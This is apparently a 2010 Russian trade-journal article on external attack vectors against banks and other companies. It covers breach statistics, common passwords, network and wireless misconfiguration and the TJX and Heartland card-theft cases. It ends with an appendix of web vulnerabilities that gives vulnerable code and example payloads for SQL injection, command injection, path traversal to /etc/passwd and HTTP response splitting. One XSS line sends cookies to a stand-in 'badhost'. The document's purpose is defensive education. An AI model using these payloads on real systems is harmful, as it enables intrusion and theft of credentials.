Анализ проблем защиты от внешнего нарушителя

Анализ проблем защиты от внешнего нарушителя

Одной из проблем, возникающих при планировании системы менеджмента информационной безопасности, является необходимость оценить актуальность угроз, создаваемых различными источниками.

Авторы: А. Сычев, Д. Кузнецов

Опубликована в “ИнформКурьер-Связь”, №7-8, июль-август 2010

1. Резюме

Одной из проблем, возникающих при планировании системы менеджмента информационной безопасности, является необходимость оценить актуальность угроз, создаваемых различными источниками.

Согласно стандарту СТО БР ИББС, в основе парадигмы информационной безопасности организаций банковской сферы лежит противоборство между собственниками информационных активов и злоумышленником, стремящимся получить контроль над этими активами. Деятельность злоумышленника выражается в угрозах, которые он пытается реализовать для достижения своих целей. Согласно стандарту, оценка актуальности этих угроз и целесообразности применяемых мер противодействия должна основываться на вероятностях реализации этих угроз.
Оценить вероятность реализации тех или иных угроз затруднительно в виду отсутствия исходных данных и достоверной статистической информации. Однако можно получить некоторое представление о наиболее актуальных угрозах и методах их реализации, основываясь на публикациях экспертных организаций, которые проводят расследование инцидентов в области информационной безопасности, а также выполняют тесты на проникновение. В настоящем документе использовались статистические данные, опубликованные компаниями TrustWave и Verizon Business, а также результаты тестов на проникновение, проведенных ЗАО «Позитив Текнолоджиз» в 2008-2009 г.

Согласно отчету компании Verizon[1], 72% инцидентов, связанных с утечкой данных (в основном –информации платежных систем), стали результатом действий внешнего нарушителя (рисунок 1). При этом 43% инцидентов стали результатом самостоятельных действий злоумышленника, еще в 39% инцидентов использовались ошибки, допускаемые пользователями.

Рис. 1. Распределение источников угроз по версии Verizon

Успешность действий злоумышленника определялась наличием различного рода ошибок (ошибок в архитектуре информационных систем и приложений, ошибок в управлении доступом и т.п.). При этом основными способами реализации атаки стали подбор учетных записей на интерфейсах удаленного доступа к оборудованию и приложениям и уязвимости Web-приложений.

Рис. 2. Наиболее распространенные способы проникновения по версии Verizon

Аналогичные результаты по частоте встречаемости наиболее распространенных способов проникновения приведены в отчете компании TrustWave [2] . Анализировались инциденты, связанные с утечкой данных платежных карт, прежде всего – инциденты с банкоматами и терминалами оплаты. Как видно из результатов (рисунок 3), в основном злоумышленники используют ошибки в настройках интерфейсов удаленного управления и ошибки в настройке совместно используемого сетевого оборудования. Остальные векторы проникновения используются на порядок реже.

Рис. 3. Наиболее распространенные методы атак на банкоматы и платежные терминалы по версии TrustWave

Приведенные исследования показывают, что основным способом реализации атак на информационные активы компаний является использование различного рода ошибок, допускаемых администраторами информационных систем. Подобные ошибки выявляются в ходе проведения тестов на проникновение, и повторяемость одних и тех же ошибок позволяет выявлять наиболее проблемные места в организации защиты.

Проводя тесты на проникновение, специалисты ЗАО «Позитив Текнолоджиз» анализируют использовавшиеся для проникновения ошибки в реализации механизмов защиты, архитектуре информационных систем или настройках средств защиты. Результаты такого анализа позволяют оценивать механизмы информационной безопасности заказчика с точки зрения эффективности оказанного в ходе работ противодействия проникновению. Критерием оценки является минимальный набор возможностей, который необходим нарушителю для преодоления того или иного механизма безопасности. Результаты такой оценки различаются от компании к компании, и отдельно можно выделить организации банковской сферы. Усредненные результаты по банковской сфере и по компаниям остальных отраслей приведены на рисунке 4.

Рис. 4. Оценка эффективности механизмов обеспечения безопасности информационных систем.

Кардинальное отличие эффективности реализации механизмов обеспечения безопасности организаций банковской сферы от предприятий и организаций остальных отраслей объясняется двумя причинами:

  • наличием критичных в финансовом плане и привлекательных для нарушителя платежных сервисов (интернет-банкинга, карточного процессинга и т.п.), что требует от банков особого внимания к проблемам защиты от внешнего нарушителя;
  • необходимостью проводить регулярное внешнее сканирования и тесты на проникновение, что позволяет банкам выявлять и устранять ошибки, допущенные при организации защиты.

Тем не менее, для информационных систем банков характерен определенный набор “болезней”. Прежде всего, это касается использования механизмов аутентификации и раскрытия информации о сотрудниках банка (как самими сотрудниками в общедоступных Интернет-ресурсах, так и самими компаниями в пресс-релизах и общедоступной внутренней документации). Хотя использовать такие недостатки может только специалист высокого уровня, методики их использования хорошо известны и эффективны при реализации атак.

Кроме того, встречаются недостатки в управлении обновлениями, конфигурацией оборудования и программных средств, настройками межсетевых экранов и т.п. Несмотря на то, что подобные недостатки частично компенсируются применением других механизмов защиты, в ходе теста на проникновение их удается использовать для преодоления внешнего периметра защиты и получения контроля над информационными системами.

Таким образом, можно выделить три основных вектора проникновения в информационные системы компаний. Первым вектором является использование ошибок в настройках телекоммуникационного оборудования и серверов, размещенных на внешнем периметре защиты и в доступных извне сегментах локальной вычислительной сети. Основной предпосылкой для возникновения на этих узлах уязвимостей является человеческий фактор: даже при использовании максимально полного набора технических средств защиты существует вероятность некорректной настройки этих средств или невыполнения требований информационной безопасности. Можно выделить два показателя, характеризующих возможность возникновения подобной ошибки: количество доступных извне устройств и количество доступных извне сервисов. С ростом каждого их показателей возрастает вероятность нахождения злоумышленником ошибок в доступных устройствах, а значит и возможность использования этих узлов для реализации атаки. Наиболее распространенные ошибки, допускаемые ИТ-специалистами, приведены в разделе 4.

Вторым вектором проникновения являются уязвимости Web-приложений. В этом случае злоумышленник использует ошибки, допускаемые разработчиками этих приложений. Наиболее распространенные типы ошибок приведены в разделе 3. Также можно выделить основные количественные показатели, которые характеризуют возможность возникновения подобных ошибок: количество Web-приложений, частота внесения изменений в эти приложения и количество Web-интерфейсов, допускающих ввод пользователями данных и используемых для формирования контента. С ростом каждого из этих показателей также возрастает вероятность совершения ошибок.

Третьим важным вектором проникновения является использование нарушителем уязвимостей рабочих мест пользователей в сочетании с методами социальной инженерии. Примеры подобных атак рассмотрены в разделе 4.4. Можно также выделить несколько показателей, характеризующих возможность использования злоумышленником этого вектора:

  • количество рабочих мест;
  • количество наименований программного обеспечения (с учетом версий), используемого на рабочих местах;
  •  количество известных уязвимостей в этом программном обеспечении, для которых не установлены соответствующие обновления;
  • среднее время жизни уязвимости (т.е. время между публикацией информации об уязвимости данной версии данного программного продукта и устранением этой уязвимости);
  • степень осведомленности пользователей (выражающаяся в количестве пользователей, готовых открыть присланный злоумышленником электронный документ или перейти по рекомендуемой им ссылке).

Большая часть этих показателей оценивается при проведении теста на проникновение или внутреннего аудита.

2. Безопасность Web-приложений

Уязвимости Web-приложений на сегодняшний день являются наиболее распространенным способом проникновения в информационные системы компаний и реализации атак на клиентов этих компаний.

По результатам исследования[3], проведенного в 2008 году (данные за 2009 г. готовятся к публикации), практически каждый корпоративный Web-портал содержит уязвимости уровней Urgent или Critical (рисунок 5).

Рис. 5. Распространенность уязвимостей различных категорий

Наиболее распространенные типы критических уязвимостей Web-приложений приведены на рисунке 6.

Рис. 6. Наиболее распространенные критические уязвимости Web-приложений

Подобные уязвимости позволяют злоумышленнику получить контроль над  Web-приложением и/или использовать его для атак на внутренние информационные ресурсы компании или рабочие места пользователей. На данный момент этот вектор атаки представляет наибольшую опасность, поскольку для большинства типов уязвимостей разработаны эффективные автоматизированные методы их выявления. Это существенно упрощает задачу злоумышленника и ставит возможность организации атаки в прямую зависимость от количества доступных ему Web-приложений и их интерфейсов.

Уязвимости Web-приложений являются одним из наиболее распространенных путей проникновения в корпоративные информационные системы, и можно выделить несколько факторов, делающих Web-сервисы привлекательной целью для атак злоумышленников:

  1. При разработке приложений основные усилия разработчика направлены на обеспечение требуемой функциональности. При этом вопросам безопасности и качества программного кода отводится второстепенное значение. В результате подавляющее большинство Web-приложений содержит уязвимости различной степени критичности.
  2. Зачастую в качестве основы Web-приложений используются уже готовые системы управления контентом, причем в силу указанной выше причины эти системы, в свою очередь, также содержат уязвимости. Это позволяет нарушителю, выявив уязвимость в одной из популярных систем управления контентом, проводить атаки в отношении большого числа ресурсов.
  3. Простота протокола HTTP позволяет разрабатывать эффективные методы автоматического анализа Web-контента и выявления уязвимостей. Сравнительный анализ методов выявления уязвимостей показывает, что по большинству типов уязвимостей автоматическое сканирование практически не уступает в эффективности ручному анализу в режиме черного ящика, а для некоторых типов уязвимостей и превосходит его. Это значительно упрощает работу нарушителя, позволяя ему обнаруживать большое число уязвимых Web-сайтов с тем, чтобы потом проводить атаку в отношении наиболее интересных из них.

Кроме того, уязвимости некоторых типов допускают не только автоматическое выявление, но и автоматическую эксплуатацию. Именно таким образом производится массовое внедрение в Web-ресурсы вредоносного кода, который впоследствии используется для создания бот-сетей из рабочих мест пользователей этих ресурсов. Возможность использования Web-приложений в качестве платформы для атаки на рабочие места пользователей сама по себе делает эти приложения привлекательной целью для нарушителя.

Описание уязвимостей Web-приложений приведено в приложении 1.

3. Использование недостатков инфраструктуры

Использование недостатков инфраструктуры является вторым по значимости вектором проникновения. Анализ подобных недостатков показывает, что залогом успешной атаки является не отсутствие тех или иных средств защиты (как правило, в компаниях присутствует весь необходимый для предотвращения или выявления атаки набор средств защиты), а неправильное использование этих средств или неправильная реализация отдельных механизмов защиты. Можно отметить три основные предпосылки к появлению подобных недостатков:

  • Непонимание значимости рекомендаций о настройке механизмов защиты. Эксплуатационная документация многих программных продуктов (особенно операционных систем и СУБД) включает в себя большое количество рекомендаций по правильной настройке механизмов защиты или организации взаимодействия компонентов. Однако зачастую администраторы систем игнорируют эти рекомендации или отказываются от их выполнения, не осознавая их важность.
  • Сознательный отказ от выполнения требований безопасности. Очень часто приходится сталкиваться с ситуациями, когда при внедрении или эксплуатации информационных систем допускаются отклонения от требований безопасности. Как правило, такие отклонения имеют временный характер и вносятся для быстрого решения частной проблемы с тем, чтобы впоследствии заменить временное решение постоянным и безопасным. Однако зачастую такое временное решение становится постоянным, и система эксплуатируется с нарушением требований безопасности.
  • Непонимание важности своевременного обновления программного обеспечения. Зачастую в компаниях не производится установка обновлений безопасности, или подобная установка носит выборочный характер. В результате на многих компонентах информационных систем присутствуют уязвимости, которые давно известны и к которым давно опубликованы обновления безопасности. Это делает информационные системы и рабочие места пользователей уязвимыми не только к атаке специалиста, но и для банальных вирусных эпидемий. К примеру, прошедшая в январе-феврале 2009 эпидемия червя Conflicker стала возможной только благодаря тому, что во многих компаниях не были установлены обновления безопасности, опубликованные в октябре 2007 г.

При этом отдельно хочется отметить, что уязвимости программного обеспечения являются только одним из путей реализации атак на информационные системы, причем не самым часто используемым. Как правило, злоумышленнику удается достичь своей цели только за счет использования недостатков сетевой архитектуры и настройки программного обеспечения.
Ниже приведены основные недостатки инфраструктуры. Примеры использования этих недостатков приведены в приложении 2.

3.1 Проблемы парольной защиты

Разработчики бизнес-приложений часто допускают одновременно две ошибки:

  • не предусматривают ограничения на минимальную сложность задаваемого пользователем пароля;
  • не предусматривают механизмов противодействия автоматическому перебору паролей (ввода CAPTCHA, блокировку учетной записи после определенного числа неуспешных попыток аутентификации и т.п.).

Как показывают результаты исследования, проведенного ЗАО «Позитив Текнолоджиз»[4], если применять средства, ограничивающие минимальную длину пароля, российские пользователи склонны выбирать пароли, являющиеся сочетанием расположенных рядом клавиш клавиатуры[5] . При этом почти 9% пользователей используют один из 10 наиболее распространенных паролей (таблица 2).

Таблица 1. Топ-10 наиболее часто встречающихся паролей

Пароль

Частота встречаемости

1234567

3,36%

12345678

1,65%

123456

1,02%

<пустая строка>

0,72%

12345

0,47%

7654321

0,31%

qweasd

0,27%

123

0,25%

qwerty

0,25%

123456789

0,23%

Итого

8,53%

При таком частоте встречаемости паролей успех нарушителя при подборе учетных записей определяется двумя факторами:

  • количеством пользователей в информационной системе;
  • наличием перечня актуальных имен пользователей или возможности подбора имен.

Как правило, на поздних этапах проникновения нарушитель уже обладает списком актуальных имен пользователей, полученных в результате доступа к каталогу Active Directory, таблицам баз данных, документам на рабочих местах пользователей или корпоративной электронной почте. Но и на начальных этапах нарушитель зачастую обладает возможностью эффективного перебора имен пользователей.
Еще одной серьезной проблемой является использование стандартных паролей, устанавливаемых по умолчанию. При установке программного обеспечения создаются т.н. “технологические” учетные записи, используемые для первого входа пользователя в систему или для взаимодействия компонентов программного обеспечения между собой. Такие учетные записи стандартны для определенной версии программного обеспечения, их состав может меняться от версии к версии, а их количество для отдельного семейства программного обеспечения может достигать десятков и сотен[6]. Как правило, после установки системы администраторы забывают изменить заданные по умолчанию пароли или заблокировать ненужные учетные записи.
Кроме онлайновых методов подбора пароля, нарушителю доступны и другие методы, например восстановление пароля по его хэшу. Источниками парольных хэшей могут являться:

  • конфигурационные файлы сетевого оборудования;
  • файлы /etc/shadow операционных систем Unix;
  • резервные копии операционных систем;
  • системные таблицы СУБД, в том числе – доступные с помощью уязвимостей Web-приложений и т.п.

Согласно результатам того же исследования (таблица 2), большая часть пользователей использует пароли длиной до 8 символов включительно. В настоящее время в рамках нескольких открытых проектов[7] проводится расчет значений хэш-функции для паролей различной длины в различных алфавитах. Готовые таблицы значений хэш-функции, находящиеся в открытом доступе, обеспечивают высокий процент восстановления паролей такой длины, причем восстановление одного пароля занимает несколько минут.

Таблица 2. Частота встречаемости паролей разной длины

Длина

Частота встречаемости

Вероятность компрометации

0

0,71%

100%

1

0,26%

99,29%

2

0,39%

99,03%

3

1,37%

98,64%

4

2,03%

97,27%

5

4,86%

95,24%

6

27,22%

90,38%

7

21,75%

63,16%

8

25,22%

41,41%

9

6,50%

16,19%

10

4,42%

9,69%

11

2,83%

5,27%

12

1,33%

2,44%

13

0,40%

1,11%

14

0,34%

0,71%

3.2. Недостатки сетевой архитектуры

Недостатки сетевой архитектуры упрощают нарушителю выполнение ряда атак. К наиболее распространенным недостаткам сетевой инфраструктуры можно отнести:

  • недостатки сегментирования локальной вычислительной сети и межсетевого экранирования;
  • использование сетевых протоколов, позволяющих нарушителю собирать информацию о сетевых устройствах или навязывать сетевым устройствам собственные настройки сетевого взаимодействия;
  • использование незащищенных или недостаточно защищенных протоколов прикладного уровня.

При правильной организации локальной вычислительной сети рекомендуется разделять ее на сегменты разного функционального назначения и обеспечивать фильтрацию трафика на границах сегментов. Эти рекомендации зачастую не выполняются.
Распространенной ошибкой является предоставление доступа из сети Интернет к узлам, размещенным в пользовательском или серверном сегментах ЛВС. Это позволяет нарушителю, получившему контроль над одним из приложений, серверов или рабочих станций, беспрепятственно атаковать остальные узлы ЛВС. Кроме того, нередко предоставляется доступ из сети Интернет к управляющим интерфейсам приложений, серверов и сетевого оборудования (как в примере 4.1.4).
При подключении серверов и рабочих мест к коммутаторам ЛВС зачастую не принимаются меры противодействия сетевым атакам со стороны внутренних узлов ЛВС (от атак типа «отравление кэша ARP» до эксплуатации уязвимостей в сетевых сервисах), а также не выполняются настройки протоколов управления, направленные на скрытие топологии сети от рядового пользователя. Это позволяет нарушителю, получив контроль над одним из внутренних узлов, исследовать сеть, выявлять соседние устройства и организовывать атаки на них.

При развертывании сетевых сервисов при наличии защищенных вариантов протоколов прикладного уровня, для передачи конфиденциальной информации используются их аналоги без криптографии или со слабой криптографической защитой (NTLM вместо Kerberos, POP3 вместо IMAP, SNMP v.2 вместо v.2c или V.3, а также SMTP, FTP и HTTP без поддержки SSL/TLS). Это позволяет нарушителю перехватывать конфиденциальную информацию, в том числе - получать в свое распоряжение новые учетные записи.

3.3 Уязвимости беспроводных сетей

При использовании беспроводных сетей допускается несколько типичных ошибок, среди которых необходимо отметить:

  • защиту беспроводного трафика с использованием протокола WEP;
  • возможность подключения ноутбуков пользователей к произвольным точкам беспроводного доступа.

Протокол WEP использует слабые методы криптографической защиты, что позволяет нарушителю сравнительно легко восстановить используемые при взаимодействии устройств криптографические ключи. Это позволяет нарушителю подключаться к беспроводной сети и организовывать атаки, находясь внутри периметра защиты. Последствия и примеры использования такой атаки очевидны.
Использование сотрудниками компании ноутбуков создает для нарушителя дополнительный вектор проникновения. Соединяясь с посторонней точкой доступа, пользователь попадает в среду, созданную владельцем этой точки доступа. При этом:

  • точка доступа, в свою очередь, может контролироваться злоумышленником;
  • владелец точки доступа, если он не является оператором связи, не имеет перед пользователем никаких обязательств по обеспечению тайны связи.

Как правило, в отношении мобильных устройств применяются те же меры защиты, что и для стационарных рабочих мест (особенно в части управления уязвимостями и установки обновлений). При этом выбор этих мер ориентирован в первую очередь на работу внутри внешнего периметра защиты, которые является первым рубежом защиты, исключая ряд угроз. При подключении к сторонней точке доступа этот рубеж отсутствует, о чем администраторы, настраивающие функции безопасности операционной системы и индивидуальные средства защиты, часто забывают.

3.4 Уязвимости и ошибки конфигурации программного обеспечения

Одним из самых больших недостатков в обеспечении информационной безопасности российских компаний является несвоевременная установка обновлений безопасности или отказ от установки этих обновлений. Причины называются разные:

  • установка обновлений на серверы, находящиеся в промышленной эксплуатации, затрудняется высказываемыми обслуживающим персоналом опасениями в последующей нестабильности работы программного обеспечения;
  • установка обновлений на рабочие места пользователей затрудняется большим количеством используемого программного обеспечения и невозможностью своевременно отслеживать выпуск обновлений.

Сканирование внутренних узлов ЛВС большинства российских компаний показывает примерно одинаковую картину (рисунок 7 ).

Распределение уязвимостей

Уязвимые службы

Рис. 7. Пример результатов сканирования контроллера домена

Аналогичную картину можно наблюдать при анализе конфигурации программного обеспечения. Для безопасной настройки операционной системы Windows XP необходимо настроить свыше 200 параметров, при этом около 60% параметров настраиваются автоматически при инсталляции операционной системы, а остальные требуют дополнительной настройки. Как правило, анализ конфигурации показывает, что подобная настройка не выполняется, что приводит к наличию на рабочих станций типичных ошибок конфигурации:

  • использование протокола NTLM;
  • сохранение парольных хэшей LanManager;
  • автозапуск с отчуждаемых носителей и т.п.

Подобные ошибки активно используются при проникновении в информационные системы. Возможность атаки на уязвимые сетевые сервисы появляется после преодоления внешнего периметра с использованием одного из перечисленных в предыдущих разделах недостатков. Однако в последние несколько лет нарушители предпочитают атаковать рабочие места пользователей, используя уязвимости клиентского программного обеспечения и недостаточную осведомленность пользователей в вопросах информационной безопасности.

3.5 Заключение

Наиболее эффективными с точки зрения приближения к цели являются методы атаки, позволяющий нарушителю получить в свое распоряжение учетные записи пользователей. Успех подобной атаки дает нарушителю наиболее широкий спектр дополнительных возможностей:

  • возможность доступа к информационным системам от имени этого пользователя с предоставленными ему правами и с использованием штатных средств доступа;
  • возможность ознакомления с документами и почтовыми сообщениями пользователя, что дает нарушителю полезную информацию об информационных ресурсах, организации работы с ними, а также дополнительную информацию о сотрудниках компании, которую можно использовать для организации атак с применением методов социальной инженерии.

В представлении специалистов по информационным технологиям наиболее опасными считаются уязвимости сетевых сервисов, однако это не так. Как правило, нарушителю удается добиться поставленной цели еще до того, как у него появится техническая возможность поиска и эксплуатации уязвимостей программного обеспечения целевого сервера. Значительно быстрее к достижению цели приводит использование ошибок в архитектуре информационных систем и настройках программного обеспечения.

Серьезную опасность представляют атаки на рабочие места пользователей с использованием методов социальной инженерии. В то же время хотелось бы отметить, что первопричиной успешной атаки является не низкая осведомленность пользователей, а наличие на рабочем месте уязвимостей и ошибок конфигурации, возможность использовать которых предоставляется нарушителю в результате действий пользователя. В связи с этим необходимо так же отметить, что в публикациях по организационным аспектам обеспечения информационной безопасности несколько переоценивается важность мероприятий по повышению осведомленности. Как показывает практика, грамотно организованная “приманка” не вызывает подозрений даже у квалифицированных специалистов по информационной безопасности.

4. Примеры реальных инцидентов

Иллюстрацией к изложенному материалу могут служить три инцидента инциденты, получившие широкий резонанс в 2008-2009 годах. Все он были расследованы правоохранительными органами США, и опубликованные материалы уголовных дел позволяют достаточно точно и достоверно восстановить картину событий.

Летом 2007 года турецкой полицией был арестован украинский хакер Максим Ястремский. На изъятом у него ноутбуке была обнаружена партия предназначавшихся для продажи дампов. К допросам сразу же подключились специалисты секретной службы США, которые и передали турецким коллегам информацию о хакере. Показания, которые дал Ястремский, привели к раскрытию нескольких крупных уголовных дел.

В 2003 г. два хакера – Альберт Гонзалес и Кристофер Скотт организовали массовые атаки на магазины нескольких крупных торговых сетей США. Атака была организована следующим образом: хакеры парковались возле магазина и, используя опубликованные к тому времени методы взлома криптографических механизмов WEP, подключались к его беспроводной точке доступа. Используя различные уязвимости, они получали доступ к операционной системе кассовых терминалов и использовали его для копирования данных магнитной полосы при оплате товара покупателем.
В 2005 г. им удалось таким же образом получить доступ к беспроводным точкам доступа магазинов сети TJX. При анализе инфраструктуры они смогли найти ошибки в сетевой защите процессингового центра TJX, получить контроль над операционной системой одного из серверов и установить на него разработанный Ястремским снифер. Снифер накапливал данные и копировал их на внешний сервер, специально арендованный для этих целей. Эта схема успешно проработала с марта 2006 по май 2008 года, и так и не была обнаружена защищающейся стороной. Процессинговый центр был уведомлен об инциденте секретной службой США, которая к тому времени, опираясь на показания Ястремского, собирала обвинительный материал против Гонзалеса. Точное количество скомпрометированных хакерами карт неизвестно, в материалах уголовного дела фигурирует факт единовременной продажи Гонзалесом партии в 40 000 000 дампов.

Параллельно с атакой на TJX, Максим Ястремский в паре с хакером из Эстонии Александром Суворовым организовал удаленную атаку на сеть ресторанов Dave&Buster’s. Хакерам удалось преодолеть внешний периметр защиты и получить доступ к концентратору, на котором аккумулировался трафик между кассовыми терминалами и процессинговым центром. Операция длилась четыре месяца и закончилась арестом Ястремского. На основании его показаний были предъявлены обвинения и Суворову, который был арестован немецкой полицией в транзитной зоне аэропорта во Франкфурте. Точный объем украденных данных неизвестен.

В ходе расследования атаки на TJX сотрудники секретной службы организовали прослушивание телефонных переговоров и Интернет-трафика Альберта Гонзалеса. Из перехваченных данных им стало известно о возможной успешно проведенной атаке против процессингового центра Heartlend Payment Systems и еще двух процессинговых компаний. Как оказалось впоследствии, Гонзалес и двое его сообщников из бывших советских республик проанализировали Web-порталы крупнейших по версии журнала Fortune мировых процессинговых компаний, и на трех из них обнаружили уязвимости типа «внедрение операторов SQL». Эксплуатация этих уязвимостей позволила хакерам в каждом из трех случаев преодолеть периметр защиты и получить контроль над несколькими серверами. В результате был организован перехват трафика, из которого с помощью все того же снифера извлекались данные платежных карт. Полученные данные копировались на арендованные внешние серверы.
Получив информацию о возможном инциденте, сотрудники секретной службы уведомили о нем руководство Heartlend Payment Systems, которое инициировало внутреннее расследование, однако найти подтверждение инцидента специалистам компании не удалось. Подтвердить проникновение удалось только в результате повторной экспертизы, проведенной после ареста Гонзалеса и получения признательных показаний. В результате проведенной хакерами операции только из Heartlend Payment Systems были скопированы данные 130 000 000 карт.

Отсканированные экземпляры обвинительных заключений по всем трем уголовным делам опубликованы на сайте министерства юстиции США. Из 16 фигурантов находятся под следствием или осуждены пятеро, еще двое были освобождены от ответственности. Личности остальных девяти фигурантов, в том числе – нескольких непосредственных исполнителей хакерских атак, до сих пор не установлены.

Приложение 1. Уязвимости Web-приложений

1. Внедрение операторов SQL (SQL injection)

Само по себе внедрение операторов SQL – техника атаки, позволяющая нарушителю передавать Web-приложению на исполнение произвольные (пусть и с некоторыми ограничениями) конструкции языка SQL. Уязвимость, которая при этом используется – распространенная ошибка разработки Web-приложений, при которой SQL-запросы к СУБД формируются на основании передаваемых пользователем данных без дополнительной семантической проверки получившегося запроса.

Пример уязвимого кода:

strQuery = “SELECT body FROM documents WHERE id = “ + “‘”+$_GET[‘id'] +”’;”

В этом примере при формировании запроса используется параметр id, передаваемый в строке запроса. Самостоятельно формируя значение параметра id, нарушитель способен передавать Web-приложению собственные SQL-запросы. Например, обращение к Web-серверу

http://fqdn/documents?id=1234’+%3B<SQL-запрос>%3B--

приведет к выполнению последовательности запросов

SELECT body FROM documents WHERE id = 1234;
<SQL-запрос>;--;

Подобная техника может использоваться нарушителем для решения широкого круга задач от изменения контента Web-приложения до получения контроля над ним.

2. Выполнение команд операционной системы (OS commanding)

Аналогичная ошибка допускается разработчиками Web-приложений в случаях, когда принимаемый от пользователя параметр передается в качестве аргумента при вызове из кода Web-приложения команд операционной системы. Пример:

passthru (‘fetchdoc –id=' . $_GET[‘id']);

В данном примере также не проводится семантическая проверка параметра id, что позволяет нарушителю выполнять произвольные команды операционной системы. Например, обращение к Web-серверу

http://fqdn/documents?id=1234+%3B<команда1>%3B<команда2>

приведет к выполнению последовательности команд

fetchdoc –id=1234
<команда1>
<команда2>

Подобная уязвимость позволяет нарушителю получить контроль над операционной системой Web-сервера и использовать его для дальнейших действий за внешним периметром защиты.

3. Межсайтовое выполнение сценариев (Cross-site Scripting, XSS)

Предпосылкой для появления уязвимостей этого типа является все та же ошибка программирования, при которой отображаемый контент формируется на основании параметров, передаваемых в HTTP-запросе без семантической проверки этих параметров. Межсайтовое выполнение сценариев возможно тогда, когда значение передаваемого параметра непосредственно включается в тело формируемой Web-сервером HTML-страницы. Использование подобных уязвимостей не причиняет ущерба самому Web-приложению и направлено против его пользователей.
Пример:


Select preferred language:
<select><script>
document.write("<OPTION value=1>" + document.location.href.substring(document.location.href.indexOf("dlang=") + 8) + "</OPTION>");
document.write("<OPTION value=2>Russian</OPTION>");
</script></select>

В этом примере параметр dlang используется для выбора языка по умолчанию:

http://fqdn/ documents?id=1234&dlang=English

Поскольку проверка значения данного параметра не производится, нарушитель может использовать его для внедрения в тело генерируемой HRML-страницы собственного исполняемого кода:

http://fqdn/ documents?id=1234&dlang= <SCRIPT>document.location='http://badhost/stealcookie?'+document.cookie</SCRIPT>

Уязвимости XSS разделяют на постоянные (persistent) и отраженные (reflected). Постоянная XSS позволяет нарушителю внедрять свой код в долговременный контент Web-приложения (например, в сообщения на форумах или в комментарии к новостям). Внедренный с ее помощью код будет исполнен в браузере каждого из посетителей измененной страницы. Отраженная XSS встречается значительно чаще и характерна для приложений, однократно отображающих значение переданного параметра в сгенерированной на основании пользовательского запроса странице (например, для поисковых систем, когда в результатах поиска отображается введенный пользователем запрос).

Уязвимости XSS широко и разнообразно используются при атаках на рабочие места пользователей с использованием методов социальной инженерии. Пример атаки:

  • Нарушитель обнаруживает отраженную XSS на Web-сайте, представляющем интерес для атакуемого пользователя.
  • Нарушитель формирует ссылку с внедренным программным кодом, сопровождает привлекающим интерес комментарием и направляет ее пользователю (отправляет по электронной почте, через службу мгновенных сообщений или социальную сеть).
  • Пользователь переходит по ссылке.
  • Уязвимое Web-приложение формирует HTML-страницу, включив в нее внедренный нарушителем в ссылку программный код.
  • Программный код исполняется браузером пользователя.

Чаще всего подобная уязвимость используется для фишинга, позволяя извлекать и отправлять нарушителю идентификаторы сессий, хранимые пароли и т.п., а также для распространения вредоносного программного обеспечения и создания бот-сетей. Нужно отметить, что, выполняя подобную атаку, нарушитель использует не только уязвимость Web-приложения, но и доверие пользователя к этому приложению.

4. Предсказуемое значение идентификатора сессии (Credentials/session prediction)

Идентификация сессии – стандартный механизм авторизации пользователей, используемый в Web-приложениях. После успешной аутентификации пользователя приложение присваивает его сессии уникальный идентификатор, который передается серверу в каждом последующем запросе этого пользователя и используется для подтверждения его аутентичности. Надежность такого механизма основана на двух предпосылках:

  • нарушитель не может перехватить идентификатор сессии;
  • длина идентификатора не позволяет нарушителю в приемлемые сроки выполнить перебор возможных вариантов.

Наибольшая эффективность данного механизма достигается тогда, когда каждый следующий генерируемый приложением идентификатор является элементом равномерно распределенной случайной последовательности. Однако в реализации механизма генерации идентификаторов сессии встречаются ошибки, сильно сужающие область перебора. К примеру, наблюдая за значениями последовательно формируемых идентификаторов, можно выявить явные закономерности:
17141261738118235468
17141361738144365469
17141661738125825470
В приведенном примере идентификатор сессии состоит из четырех блоков, лишь один из которых формируется случайно, а остальные три являются либо постоянными, либо слабо изменяющимися величинами. При таком методе генерации у нарушителя, имеющего в своем распоряжении один идентификатор, появляется возможность поиска идентификаторов сессий остальных пользователей, активно использующих приложение в момент атаки.
Данная уязвимость часто усугубляется двумя ошибками:

  • отсутствием механизмов противодействия автоматическому перебору (например, блокировки на сетевом уровне запросов с определенного IP-адреса при выявлении попытки перебора идентификаторов);
  • избыточным временем жизни сессии, когда идентификатором сессии можно воспользоваться через длительное время после прекращения активности пользователя.

4. Обратный путь в директориях (Path traversal)

Данная уязвимость возникает в приложениях, в коде которых передаваемый в запросе параметр используется для формирования имени используемого при формировании контента файла. Пример:
<?php
echo “<a href=“pdf/”.$_REQUEST[‘name’].”.pdf”;
?>
Отсутствие семантической проверки передаваемого параметра приводит к тому, что нарушитель получает возможность включить в отображаемый контент содержимое произвольного файла:

http://site.ru/article.php?name=../../../../etc/passwd%00

Данная уязвимость позволяет нарушителю получать дополнительную информацию о приложении: сведения о пользователях, исходный код отдельных сценариев, сведения о настройках операционной системы и приложений и т.п.

5. Разделение ответов HTTP(HTTP response splitting)

Данная уязвимость возникает в приложениях, в коде которых передаваемый в запросе параметр используется для формирования заголовка HTTP-пакета. Пример:

<%
response.sendRedirect("/by_lang.jsp?lang="+
request.getParameter("lang"));
%>

В приведенном примере значение параметра lang будет включено в заголовок HTTP-пакета:

HTTP/1.1 302 Moved Temporarily
Date: Wed, 24 Dec 2003 12:53:28 GMT
Location: http://fqdn/documents?lang=English
Server: …

Отсутствие семантической проверки значения параметра приводит к тому, что нарушитель получает возможность самостоятельно формировать ответ сервера:

http://fqdn/documents?lang=English%0d%0aContent-
Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-
Type:%20text/html%0d%0aContent-Length:%204%0d%0a%0d%0aText

При выполнении подобного запроса будет сформирован HTTP-пакет следующего вида:

HTTP/1.1 302 Moved Temporarily
Date: Wed, 24 Dec 2003 15:26:41 GMT
Location: http://10.1.1.1/by_lang.jsp?lang=English
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 4
Text
Server:…

В соответствии со спецификацией  протокола HTTP, такой результат содержит два разных сообщения HTTP RESPNSE, первое из которых пусто, а второе - содержит заданный нарушителем контент. Подобная техника может использоваться, например, для атаки типа “proxy cache poisoning”. В несколько упрощенном виде атака выглядит следующим образом:

  1. Нарушитель последовательно отправляет два запроса HTTP:
    http://fqdn/documents?lang=English%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK...
    http://fqdn/index.html
  2. Запросы проходят через proxy-сервер
  3. Web-сервер формирует приведенный выше ответ
